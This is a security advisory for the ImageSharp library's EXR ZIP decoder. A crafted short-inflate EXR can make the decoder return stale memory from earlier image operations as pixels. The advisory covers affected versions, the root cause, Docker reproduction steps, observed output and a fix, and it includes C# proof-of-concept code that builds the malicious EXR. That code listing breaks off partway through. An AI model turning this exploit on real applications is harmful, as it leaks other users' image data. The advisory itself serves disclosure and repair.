Summary

ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate

Advisory details

Summary

A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block.

This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared Configuration.Default allocator for separate image operations and exposes pixels or output derived from a later attacker-controlled EXR decode. Whether that creates a network attack path depends on the host application.

No active exploitation is known.

Affected package and versions

  • Package: SixLabors.ImageSharp (NuGet)
  • Affected published releases: 4.0.0, 4.1.0, and 4.1.1
  • Affected range: >= 4.0.0, <= 4.1.1
  • Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them.

Details

For ZIP/ZIPS EXR compression, ExrDecoderCore allocates the expected block buffer without AllocationOptions.Clean and later interprets the complete buffer as channel data. ZipExrCompression accepts a partial but non-empty inflate result: UndoZipCompression rejects only totalRead == 0.

Only the returned prefix is reconstructed and interleaved into the destination block. The remaining bytes retain allocator contents from a completed prior operation. ExrDecoderCore then converts those bytes into returned image pixels.

Reproduction

The attached Docker PoC uses the published SixLabors.ImageSharp NuGet package version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that contains the test value 0.27182817. It then decodes a separate crafted 256x1 FLOAT/ZIPS EXR.

The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output.

docker build -t imagesharp-4q3p-poc .
docker run --rm imagesharp-4q3p-poc exploit
docker run --rm imagesharp-4q3p-poc control

Test environment: Docker with mcr.microsoft.com/dotnet/sdk:8.0, .NET SDK 8.0.424 / .NET 8, Debian 12, Linux ARM64.

Observed output:

imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
mode=exploit
prior-operation=valid-exr-encode-completed bytes=383
prior-value=0.27182817
leaked=True first-prior-value-pixel=4

imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
mode=control
prior-operation=valid-exr-encode-completed bytes=383
prior-value=0.27182817
leaked=False first-prior-value-pixel=-1

Suggested remediation

Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes.

Complete PoC files

Program.cs:

using System.Buffers.Binary;
using System.Globalization;
using System.IO.Compression;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Formats.Exr;
using SixLabors.ImageSharp.Formats.Exr.Constants;
using SixLabors.ImageSharp.PixelFormats;

// This performs two independent completed ImageSharp operations in one process.
// The first is a valid EXR encoding containing a test value. The second is a
// malformed EXR decode whose short ZIP result exposes that value from the
// allocator shared through Configuration.Default.
internal static class Program
{
    private const int PriorWidth = 64;
    private const int AttackerWidth = 256;
    private const float PriorValue = 0.271828182f;

    private static int Main(string[] args)
    {
        bool exploit = args.Length == 0 || args[0] == "exploit";
        if (args.Length > 0 && args[0] is not ("exploit" or "control"))
        {
            Console.Error.WriteLine("usage: final-4q3p [exploit|control]");
            return 2;
        }

        Assembly imageSharp = typeof(Image).Assembly;
        string informationalVersion = imageSharp
            .GetCustomAttribute<AssemblyInformationalVersionAttribute>()?
            .InformationalVersion
            ?? "(missing)";
        Console.WriteLine(
quot;imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}"); Console.WriteLine(
quot;mode={(exploit ? "exploit" : "control")}"); EncodePriorOperation(); // Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024 // uncompressed bytes. The control payload supplies all 1024 bytes. // The exploit payload supplies eight non-empty bytes. byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float)); using Image<RgbaVector> result = Image.Load<RgbaVector>( new DecoderOptions { Configuration = Configuration.Default }, new MemoryStream(exr)); result.DangerousTryGetSinglePixelMemory(out Memory<RgbaVector> memory); int firstLeak = FindPriorValue(memory.Span); Console.WriteLine(
quot;prior-value={PriorValue.ToString("R", CultureInfo.InvariantCulture)}"); Console.WriteLine(
quot;leaked={firstLeak >= 0} first-prior-value-pixel={firstLeak}"); if ((firstLeak >= 0) != exploit) { Console.Error.WriteLine("unexpected disclosure result"); return 1; } return 0; } private static void EncodePriorOperation() { using var previousImage = new Image<RgbaVector>(PriorWidth, 1); for (int x = 0; x < PriorWidth; x++) { previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f); } using var encoded = new MemoryStream(); previousImage.Save(encoded, new ExrEncoder { Compression = ExrCompression.Zips, PixelType = ExrPixelType.Float, }); Console.WriteLine(
quot;prior-operation=valid-exr-encode-completed bytes={encoded.Length}"); } private static int FindPriorValue(ReadOnlySpan<RgbaVector> pixels) { int expectedBits = BitConverter.SingleToInt32Bits(PriorValue); for (int x = 0; x < pixels.Length; x++) { if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits) { return x; } } return -1; } private static byte[] BuildAttackerExr(int inflatedBytes) { byte[] compressed = ZlibCompress(new byte[inflatedBytes]); using var output = new MemoryStream(); using var writer = new BinaryWriter(output); writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic writer.Write((byte)2); writer.Write(new byte[] { 0, 0, 0 }); using (var channels = new MemoryStream()) using (var channelWriter = new BinaryWriter(channels)) { WriteString(channelWriter, "R"); channelWriter.Write(2); // FLOAT channelWriter.Write((byte)0); channelWriter.Write(new byte[] { 0, 0, 0 }); channelWriter.Write(1); channelWriter.Write(1); channelWriter.Write((byte)0); WriteAttribute(writer, "channels", "ch

References